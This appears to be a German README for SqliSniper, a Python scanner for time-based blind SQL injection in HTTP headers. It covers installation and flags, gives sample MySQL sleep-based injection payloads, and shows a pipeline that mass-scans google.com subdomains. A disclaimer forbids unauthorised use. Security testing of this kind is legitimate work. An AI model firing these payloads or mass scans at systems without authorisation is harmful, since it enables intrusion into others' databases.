
Erweiterter zeitbasierter Blind-SQL-Injection-Fuzzer für HTTP-Header
Funktionen • Installation • Verwendung • SqliSniper ausführen • Mitwirken •
SqliSniper ist ein robustes Python-Tool zur Erkennung von zeitbasierten Blind-SQL-Injection-Angriffen in HTTP-Request-Headern. Es beschleunigt den Sicherheitsbewertungsprozess durch schnelles Scannen und Identifizieren potenzieller Schwachstellen mittels Multithreading für Geschwindigkeit und Effizienz. Im Gegensatz zu anderen Scannern wurde SqliSniper entwickelt, um Fehlalarme zu eliminieren und bei Erkennung Benachrichtigungen zu senden – mit der integrierten Discord-Benachrichtigungsfunktion.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Dies zeigt die Hilfe für das Tool an. Hier sind alle unterstützten Optionen.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
Die URL kann mit der -u-Flag für einen Einzelseiten-Scan angegeben werden.
./sqlisniper.py -u http://example.com
Die -r-Flag ermöglicht es SqliSniper, eine Datei mit mehreren URLs für gleichzeitiges Scannen zu lesen.
./sqlisniper.py -r url.txt
SqliSniper kann auch mit Pipeline-Eingabe über die -p-Flag arbeiten.
cat url.txt | ./sqlisniper.py -p
Die Pipeline-Funktion erleichtert die nahtlose Integration mit anderen Tools. Beispielsweise können Sie Tools wie subfinder und httpx verwenden und deren Ausgabe an SqliSniper für Massenscans weiterleiten.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
Standardmäßig verwendet SqliSniper die Datei payloads.txt. Über die --payload-Flag kann jedoch eine benutzerdefinierte Payload-Datei bereitgestellt werden.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
Beim Verwenden einer benutzerdefinierten Payload-Datei stellen Sie sicher, dass Sie die Schlafzeit durch %__TIME_OUT__% ersetzen. SqliSniper passt die Schlafzeit iterativ an, um mögliche Fehlalarme zu reduzieren.
Die Payload-Datei sollte wie folgt aussehen:
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Wenn Sie nur mit einem einzelnen Payload testen möchten, kann die --single-payload-Flag verwendet werden. Ersetzen Sie die Schlafzeit durch %__TIME_OUT__%.
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Header werden in der Datei headers.txt gespeichert. Zum Scannen benutzerdefinierter Header speichern Sie den benutzerdefinierten HTTP-Request-Header in der Datei headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper bietet auch Discord-Benachrichtigungen, die die Funktionalität durch Echtzeit-Alarme über Discord-Webhooks erweitern. Diese Funktion ist besonders wertvoll bei umfangreichen Scans, da sie eine sofortige Benachrichtigung bei Erkennung ermöglicht.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Die Anzahl der Threads kann mit der --threads-Flag festgelegt werden.
./sqlisniper.py -r url.txt --threads 10
Hinweis: Es ist wichtig zu bedenken, dass eine höhere Anzahl von Threads zu potenziellen Fehlalarmen oder übersehenen gültigen Ergebnissen führen kann. Aufgrund der Natur zeitbasierter SQL-Injection wird empfohlen, eine niedrigere Thread-Anzahl für genauere Erkennungen zu verwenden.
Rechtlicher HaftungsausschlussDie Verwendung dieses Tools zum Angreifen von Zielen ohne vorherige gegenseitige Zustimmung ist strengstens untersagt. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden. |
Beiträge zu SqliSniper sind jederzeit willkommen. Ob Funktionserweiterungen, Fehlerbehebungen oder Dokumentationsverbesserungen – jede Hilfe wird geschätzt.
SqliSniper wird unter der MIT-Lizenz verteilt.
SqliSniper wurde in
mit viel 💙 von @Muhammad Danial erstellt.